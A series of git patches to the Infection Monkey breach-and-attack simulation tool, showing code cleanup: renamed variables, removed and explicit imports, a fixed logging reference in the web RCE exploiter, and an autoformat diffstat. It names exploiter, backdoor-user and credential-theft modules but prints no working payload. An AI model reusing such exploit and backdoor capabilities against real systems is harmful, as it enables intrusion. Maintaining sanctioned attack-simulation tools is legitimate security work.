if "default" in subschema3:
sub_dict[property3] = subschema3["default"]
main_dict[property2] = sub_dict
- instance.setdefault(property, main_dict)
+ instance.setdefault(property1, main_dict)
for error in validate_properties(validator, properties, instance, schema):
yield error
diff --git a/monkey/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py
index bf9417309..b026fa480 100644
--- a/monkey/monkey_island/cc/services/edge.py
+++ b/monkey/monkey_island/cc/services/edge.py
@@ -141,7 +141,7 @@ class EdgeService:
@staticmethod
def get_edge_label(edge):
- NodeService = monkey_island.cc.services.node.NodeService
+ node_service = monkey_island.cc.services.node.NodeService
from_id = edge["from"]
to_id = edge["to"]
@@ -153,9 +153,9 @@ class EdgeService:
if is_monkey(to_id):
to_label = get_monkey_label_by_id(to_id)
else:
- to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
+ to_label = node_service.get_node_label(node_service.get_node_by_id(to_id))
- RIGHT_ARROW = "\u2192"
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
+RIGHT_ARROW = "\u2192"
diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py
index 0c0a873e8..da45509d7 100644
--- a/monkey/monkey_island/cc/services/node.py
+++ b/monkey/monkey_island/cc/services/node.py
@@ -56,9 +56,9 @@ class NodeService:
accessible_from_nodes.append(from_node_label)
accessible_from_nodes_hostnames.append(from_node_hostname)
- for exploit in edge["exploits"]:
- exploit["origin"] = from_node_label
- exploits.append(exploit)
+ for edge_exploit in edge["exploits"]:
+ edge_exploit["origin"] = from_node_label
+ exploits.append(edge_exploit)
exploits = sorted(exploits, key=lambda exploit: exploit['timestamp'])
From fd70ecfe29980d0b44c2d4c38f56df17a3ec3de9 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 16:15:52 +0200
Subject: [PATCH 074/108] Intentional shadowing of builtins
---
monkey/infection_monkey/monkeyfs.py | 1 +
monkey/infection_monkey/system_info/__init__.py | 1 +
2 files changed, 2 insertions(+)
diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py
index b65443c76..e64682501 100644
--- a/monkey/infection_monkey/monkeyfs.py
+++ b/monkey/infection_monkey/monkeyfs.py
@@ -52,6 +52,7 @@ def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
+# noinspection PyShadowingBuiltins
def open(name, mode='r', buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py
index ab8e0f7ba..7d4395af7 100644
--- a/monkey/infection_monkey/system_info/__init__.py
+++ b/monkey/infection_monkey/system_info/__init__.py
@@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
try:
WindowsError
except NameError:
+ # noinspection PyShadowingBuiltins
WindowsError = psutil.AccessDenied
__author__ = 'uri'
From f8b38d9a8d6d5a4ce9f774c462a8c3f9e07074cb Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 16:16:05 +0200
Subject: [PATCH 075/108] Change is to isisntance for type checking
---
monkey/infection_monkey/config.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 6b01761d1..f3936fe19 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -74,7 +74,7 @@ class Configuration(object):
val_type = type(value)
- if val_type is types.FunctionType or val_type is types.MethodType:
+ if isinstance(val_type, types.FunctionType) or isinstance(val_type, types.MethodType):
continue
if val_type in (type, ABCMeta):
From 719088070e752774e3b1d17a57c33f3ed81f4353 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 16:16:19 +0200
Subject: [PATCH 076/108] Added todo
---
monkey/infection_monkey/system_info/windows_info_collector.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py
index 08ca6ff29..2c3696f44 100644
--- a/monkey/infection_monkey/system_info/windows_info_collector.py
+++ b/monkey/infection_monkey/system_info/windows_info_collector.py
@@ -35,7 +35,7 @@ class WindowsInfoCollector(InfoCollector):
"""
LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info()
- #self.get_wmi_info()
+ # TODO: Think about returning self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:
From ea584e2d4617549d8ed6132918f088a6951b729a Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Mon, 28 Oct 2019 16:59:01 +0200
Subject: [PATCH 077/108] Fixed monkey tests to test updated cached methods
---
monkey/monkey_island/cc/models/test_monkey.py | 21 ++++++++++---------
1 file changed, 11 insertions(+), 10 deletions(-)
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index d399355a3..4ced7a9d7 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -131,14 +131,15 @@ class TestMonkey(IslandTestCase):
ip_addresses=[ip_example])
linux_monkey.save()
+ logger.debug(id(Monkey.get_label_by_id))
+
cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_before_query.hits, 0)
self.assertEqual(cache_info_before_query.misses, 0)
# not cached
label = Monkey.get_label_by_id(linux_monkey.id)
- label = get_monkey_label_by_id(linux_monkey.id)
- cache_info_after_query_1 = get_monkey_label_by_id.storage.backend.cache_info()
+ cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0)
self.assertEqual(cache_info_after_query_1.misses, 1)
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
@@ -148,23 +149,23 @@ class TestMonkey(IslandTestCase):
self.assertIn(ip_example, label)
# should be cached
- _ = Monkey.get_label_by_id(linux_monkey.id)
- cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
- self.assertEqual(cache_info_after_query.hits, 1)
- label = get_monkey_label_by_id(linux_monkey.id)
+ label = Monkey.get_label_by_id(linux_monkey.id)
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
- cache_info_after_query_2 = get_monkey_label_by_id.storage.backend.cache_info()
+ cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1)
+ # set hostname deletes the id from the cache.
linux_monkey.set_hostname("Another hostname")
# should be a miss
label = Monkey.get_label_by_id(linux_monkey.id)
- cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
+ logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
+ cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
+ logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only
- self.assertEqual(cache_info_after_second_query.hits, 1)
- self.assertEqual(cache_info_after_second_query.misses, 2)
+ self.assertEqual(cache_info_after_query_3.hits, 1)
+ self.assertEqual(cache_info_after_query_3.misses, 2)
def test_is_monkey(self):
self.fail_if_not_testing_env()
From 797b6c58b9035431c4d6c42d5448e51f3933ba90 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 20:41:35 +0200
Subject: [PATCH 078/108] Removed some unused imports
---
monkey/common/cloud/aws_service_test.py | 1 -
monkey/infection_monkey/post_breach/actions/add_user.py | 1 -
monkey/monkey_island/cc/environment/aws.py | 1 -
monkey/monkey_island/cc/resources/version_update.py | 1 -
monkey/monkey_island/cc/services/remote_run_aws.py | 1 -
monkey/monkey_island/cc/services/reporting/report.py | 1 -
.../cc/services/telemetry/zero_trust_tests/machine_exploited.py | 1 -
7 files changed, 7 deletions(-)
diff --git a/monkey/common/cloud/aws_service_test.py b/monkey/common/cloud/aws_service_test.py
index 25d1b8b6e..ae9c4b5d3 100644
--- a/monkey/common/cloud/aws_service_test.py
+++ b/monkey/common/cloud/aws_service_test.py
@@ -3,7 +3,6 @@ from .aws_service import filter_instance_data_from_aws_response
import json
-
__author__ = 'shay.nehmad'
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index 09c8d4796..074e31460 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -13,4 +13,3 @@ class BackdoorUser(PBA):
POST_BREACH_BACKDOOR_USER,
linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds)
-
diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py
index 797a395aa..18db5c376 100644
--- a/monkey/monkey_island/cc/environment/aws.py
+++ b/monkey/monkey_island/cc/environment/aws.py
@@ -1,7 +1,6 @@
import monkey_island.cc.auth
from monkey_island.cc.environment import Environment
from common.cloud.aws_instance import AwsInstance
-from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py
index 5b34f4206..b1fbfdf82 100644
--- a/monkey/monkey_island/cc/resources/version_update.py
+++ b/monkey/monkey_island/cc/resources/version_update.py
@@ -2,7 +2,6 @@ import flask_restful
import logging
from monkey_island.cc.environment.environment import env
-from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py
index 4ec1fd427..c81e0bc4a 100644
--- a/monkey/monkey_island/cc/services/remote_run_aws.py
+++ b/monkey/monkey_island/cc/services/remote_run_aws.py
@@ -1,6 +1,5 @@
import logging
-from monkey_island.cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService
from common.cmd.aws.aws_cmd_runner import AwsCmdRunner
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index 01be940c4..6a44679a4 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -12,7 +12,6 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
-from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.pth_report import PTHReportService
from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index 454f3a7fe..59ba296cd 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -1,5 +1,4 @@
from common.data.zero_trust_consts import *
-from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
from monkey_island.cc.models.zero_trust.event import Event
From f430bfb940e07ee41a9badc1d13e9bc2362d4980 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 20:43:01 +0200
Subject: [PATCH 079/108] Changed info to debug in tests
---
monkey/monkey_island/cc/models/test_monkey.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py
index 5d81e0b1d..3c10ca7d7 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/test_monkey.py
@@ -142,7 +142,7 @@ class TestMonkey(IslandTestCase):
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_1.hits, 0)
self.assertEqual(cache_info_after_query_1.misses, 1)
- logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
+ logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label))
self.assertIsNotNone(label)
self.assertIn(hostname_example, label)
@@ -150,7 +150,7 @@ class TestMonkey(IslandTestCase):
# should be cached
label = Monkey.get_label_by_id(linux_monkey.id)
- logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
+ logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
self.assertEqual(cache_info_after_query_2.hits, 1)
self.assertEqual(cache_info_after_query_2.misses, 1)
@@ -160,7 +160,7 @@ class TestMonkey(IslandTestCase):
# should be a miss
label = Monkey.get_label_by_id(linux_monkey.id)
- logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
+ logger.debug("3) ID: {} label: {}".format(linux_monkey.id, label))
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
# still 1 hit only
From 75bff2264925a9251bd403c10bbb0a82d24a97ee Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 20:59:30 +0200
Subject: [PATCH 080/108] Changed import * to explicit imports
---
monkey/common/network/segmentation_utils_test.py | 2 +-
.../infection_monkey/exploit/tools/payload_parsing_test.py | 1 -
monkey/infection_monkey/exploit/web_rce.py | 3 ++-
monkey/infection_monkey/utils/users.py | 2 --
.../cc/models/zero_trust/test_aggregate_finding.py | 2 +-
monkey/monkey_island/cc/models/zero_trust/test_finding.py | 2 +-
.../cc/services/reporting/test_zero_trust_service.py | 7 ++++++-
.../cc/services/reporting/zero_trust_service.py | 5 ++++-
.../cc/services/telemetry/processing/__init__.py | 7 -------
.../cc/services/telemetry/processing/post_breach.py | 2 +-
.../cc/services/telemetry/processing/processing.py | 3 ++-
.../services/telemetry/zero_trust_tests/data_endpoints.py | 3 ++-
.../telemetry/zero_trust_tests/machine_exploited.py | 2 +-
13 files changed, 21 insertions(+), 20 deletions(-)
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
index 221f1d9bf..9dea1af19 100644
--- a/monkey/common/network/segmentation_utils_test.py
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -1,4 +1,4 @@
-from common.network.network_range import *
+from common.network.network_range import CidrRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
index 23358a290..315216d5f 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -29,4 +29,3 @@ class TestPayload(TestCase):
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2
-
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 1b5b9d75b..672861355 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -4,9 +4,10 @@ from posixpath import join
from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
-from infection_monkey.model import *
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \
+ POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py
index 68148d9e9..b2f29db85 100644
--- a/monkey/infection_monkey/utils/users.py
+++ b/monkey/infection_monkey/utils/users.py
@@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password):
linux_cmds = get_linux_commands_to_add_user(username)
windows_cmds = get_windows_commands_to_add_user(username, password)
return linux_cmds, windows_cmds
-
-
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
index 161f064b2..59bf1aa66 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -1,4 +1,4 @@
-from common.data.zero_trust_consts import *
+from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY, EVENT_TYPE_MONKEY_NETWORK
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.models.zero_trust.finding import Finding
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
index 3b9dcbf33..d61478641 100644
--- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -1,6 +1,6 @@
from mongoengine import ValidationError
-from common.data.zero_trust_consts import *
+from common.data.zero_trust_consts import STATUS_FAILED, TEST_SEGMENTATION, EVENT_TYPE_MONKEY_NETWORK
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index d77e67aad..a43da8416 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -1,4 +1,9 @@
-from common.data.zero_trust_consts import *
+from common.data.zero_trust_consts import AUTOMATION_ORCHESTRATION, DATA, PRINCIPLES, PRINCIPLE_DATA_TRANSIT, STATUS_FAILED, \
+ TESTS_MAP, TEST_DATA_ENDPOINT_HTTP, TEST_EXPLANATION_KEY, STATUS_UNEXECUTED, TEST_DATA_ENDPOINT_ELASTIC, DEVICES, \
+ PRINCIPLE_ENDPOINT_SECURITY, TEST_MACHINE_EXPLOITED, TEST_ENDPOINT_SECURITY_EXISTS, NETWORKS, PRINCIPLE_SEGMENTATION, \
+ TEST_SEGMENTATION, PRINCIPLE_USER_BEHAVIOUR, STATUS_VERIFY, TEST_SCHEDULED_EXECUTION, PRINCIPLE_USERS_MAC_POLICIES, \
+ TEST_COMMUNICATE_AS_NEW_USER, PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, TEST_MALICIOUS_ACTIVITY_TIMELINE, \
+ PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, TEST_TUNNELING, PEOPLE, VISIBILITY_ANALYTICS, WORKLOADS, STATUS_PASSED
from monkey_island.cc.models.zero_trust.finding import Finding
from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
index 04f661b28..24bd81e0d 100644
--- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py
@@ -1,5 +1,8 @@
import json
-from common.data.zero_trust_consts import *
+
+from common.data.zero_trust_consts import PILLARS, STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED, \
+ PILLARS_TO_TESTS, TESTS_MAP, PILLARS_KEY, PRINCIPLES_TO_TESTS, PRINCIPLES_TO_PILLARS, PRINCIPLES, ORDERED_TEST_STATUSES, \
+ TEST_EXPLANATION_KEY, FINDING_EXPLANATION_BY_STATUS_KEY
from monkey_island.cc.models.zero_trust.finding import Finding
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
index 966877967..e69de29bb 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py
@@ -1,7 +0,0 @@
-# import all implemented hooks, for brevity of hooks.py file
-from .tunnel import process_tunnel_telemetry
-from .state import process_state_telemetry
-from .exploit import process_exploit_telemetry
-from .scan import process_scan_telemetry
-from .system_info import process_system_info_telemetry
-from .post_breach import process_post_breach_telemetry
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index c64849905..b0e2eb8b7 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -1,5 +1,5 @@
+from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
from monkey_island.cc.database import mongo
-from common.data.post_breach_consts import *
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
index 36f75fdbd..f6ddcd970 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py
@@ -1,6 +1,7 @@
import logging
-from monkey_island.cc.services.telemetry.processing import *
+from monkey_island.cc.services.telemetry.processing import process_tunnel_telemetry, process_state_telemetry, \
+ process_exploit_telemetry, process_scan_telemetry, process_system_info_telemetry, process_post_breach_telemetry
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
index b4e0bb4ec..e6afcf088 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -1,7 +1,8 @@
import json
from common.data.network_consts import ES_SERVICE
-from common.data.zero_trust_consts import *
+from common.data.zero_trust_consts import STATUS_PASSED, EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_DATA_ENDPOINT_HTTP, \
+ TEST_DATA_ENDPOINT_ELASTIC
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
from monkey_island.cc.models.zero_trust.event import Event
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
index 59ba296cd..fe0015576 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -1,4 +1,4 @@
-from common.data.zero_trust_consts import *
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED, STATUS_FAILED, TEST_MACHINE_EXPLOITED
from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
from monkey_island.cc.models.zero_trust.event import Event
From d69976f4b5a5c0c2af2d2996c60eab5371fb54ac Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 21:03:51 +0200
Subject: [PATCH 081/108] Fixed unresolved reference
self.host instead of host
---
monkey/infection_monkey/exploit/web_rce.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 672861355..b894acf43 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -257,7 +257,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp:
return False
else:
- LOG.info("Host %s was already infected under the current configuration, done" % str(host))
+ LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
return True
def check_remote_files(self, url):
@@ -285,7 +285,7 @@ class WebRCE(HostExploiter):
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
- LOG.info("All default web ports are closed on %r, skipping", str(host))
+ LOG.info("All default web ports are closed on %r, skipping", str(self.host))
return False
else:
return ports
@@ -462,7 +462,7 @@ class WebRCE(HostExploiter):
"""
src_path = get_target_monkey(self.host)
if not src_path:
- LOG.info("Can't find suitable monkey executable for host %r", host)
+ LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)
From 40494d3c3c2e3e2649685773cb316845c9242301 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Mon, 28 Oct 2019 21:11:05 +0200
Subject: [PATCH 082/108] Auto reformat all code
---
monkey/infection_monkey/dropper.py | 2 +-
monkey/infection_monkey/example.conf | 206 +++++++-------
.../infection_monkey/exploit/elasticgroovy.py | 4 +-
monkey/infection_monkey/exploit/mssqlexec.py | 7 +-
monkey/infection_monkey/exploit/shellshock.py | 2 +-
.../exploit/tools/exceptions.py | 2 -
.../infection_monkey/exploit/tools/helpers.py | 2 +-
.../exploit/tools/payload_parsing.py | 2 +-
.../exploit/tools/smb_tools.py | 1 +
monkey/infection_monkey/exploit/weblogic.py | 3 -
.../infection_monkey/exploit/win_ms08_067.py | 10 +-
monkey/infection_monkey/exploit/wmiexec.py | 1 -
monkey/infection_monkey/model/__init__.py | 24 +-
monkey/infection_monkey/monkey.py | 2 +-
monkey/infection_monkey/network/info.py | 1 -
.../network/mssql_fingerprint.py | 1 -
.../infection_monkey/network/tcp_scanner.py | 1 -
.../post_breach/actions/users_custom_pba.py | 1 +
monkey/infection_monkey/post_breach/pba.py | 2 +-
.../post_breach/post_breach_handler.py | 1 +
monkey/infection_monkey/pyinstaller_utils.py | 1 -
.../system_info/linux_info_collector.py | 1 -
.../system_info/windows_info_collector.py | 1 +
.../system_info/wmi_consts.py | 1 -
monkey/infection_monkey/system_singleton.py | 1 -
monkey/infection_monkey/transport/__init__.py | 1 -
monkey/infection_monkey/transport/tcp.py | 4 +-
monkey/monkey_island/cc/app.py | 1 -
monkey/monkey_island/cc/island_logger.py | 1 -
.../cc/island_logger_default_config.json | 60 ++---
monkey/monkey_island/cc/main.py | 1 +
monkey/monkey_island/cc/models/monkey.py | 1 +
monkey/monkey_island/cc/models/test_monkey.py | 1 -
.../cc/models/zero_trust/test_finding.py | 1 +
.../cc/resources/attack/attack_config.py | 1 -
.../monkey_island/cc/resources/local_run.py | 1 +
monkey/monkey_island/cc/resources/monkey.py | 1 +
monkey/monkey_island/cc/resources/netmap.py | 2 -
.../cc/resources/pba_file_download.py | 1 +
.../cc/resources/pba_file_upload.py | 1 +
.../cc/resources/reporting/report.py | 9 +-
.../cc/resources/representations_test.py | 12 +-
.../cc/resources/telemetry_feed.py | 4 +-
.../cc/resources/test/log_test.py | 1 -
monkey/monkey_island/cc/server_config.json | 4 +-
.../cc/services/attack/attack_report.py | 3 +-
.../attack/technique_reports/T1003.py | 1 -
.../attack/technique_reports/T1005.py | 1 -
.../attack/technique_reports/T1016.py | 1 -
.../attack/technique_reports/T1018.py | 1 -
.../attack/technique_reports/T1021.py | 1 -
.../attack/technique_reports/T1041.py | 1 -
.../attack/technique_reports/T1059.py | 1 -
.../attack/technique_reports/T1065.py | 1 -
.../attack/technique_reports/T1075.py | 1 -
.../attack/technique_reports/T1082.py | 23 +-
.../attack/technique_reports/T1086.py | 1 -
.../attack/technique_reports/T1090.py | 3 -
.../attack/technique_reports/T1105.py | 1 -
.../attack/technique_reports/T1110.py | 2 -
.../attack/technique_reports/T1188.py | 1 -
.../attack/technique_reports/T1210.py | 5 +-
monkey/monkey_island/cc/services/config.py | 5 +-
monkey/monkey_island/cc/services/database.py | 2 -
.../monkey_island/cc/services/island_logs.py | 1 +
.../cc/services/mimikatz_utils.py | 1 -
.../cc/services/remote_run_aws.py | 2 +-
.../cc/services/reporting/aws_exporter.py | 32 +--
.../cc/services/reporting/exporter_init.py | 1 +
.../cc/services/reporting/test_pth_report.py | 3 -
.../reporting/test_zero_trust_service.py | 2 +-
.../telemetry/processing/post_breach.py | 1 -
.../zero_trust_tests/segmentation.py | 8 +-
.../cc/services/version_update.py | 1 -
.../monkey_island/cc/services/wmi_handler.py | 2 -
monkey/monkey_island/cc/ui/.babelrc | 10 +-
monkey/monkey_island/cc/ui/.eslintrc | 12 +-
monkey/monkey_island/cc/ui/karma.conf.js | 14 +-
monkey/monkey_island/cc/ui/server.js | 14 +-
.../src/components/attack/MatrixComponent.js | 64 ++---
.../components/attack/techniques/Helpers.js | 81 +++---
.../src/components/attack/techniques/T1003.js | 3 +-
.../src/components/attack/techniques/T1005.js | 23 +-
.../src/components/attack/techniques/T1016.js | 24 +-
.../src/components/attack/techniques/T1018.js | 37 ++-
.../src/components/attack/techniques/T1021.js | 22 +-
.../src/components/attack/techniques/T1035.js | 10 +-
.../src/components/attack/techniques/T1041.js | 16 +-
.../src/components/attack/techniques/T1059.js | 27 +-
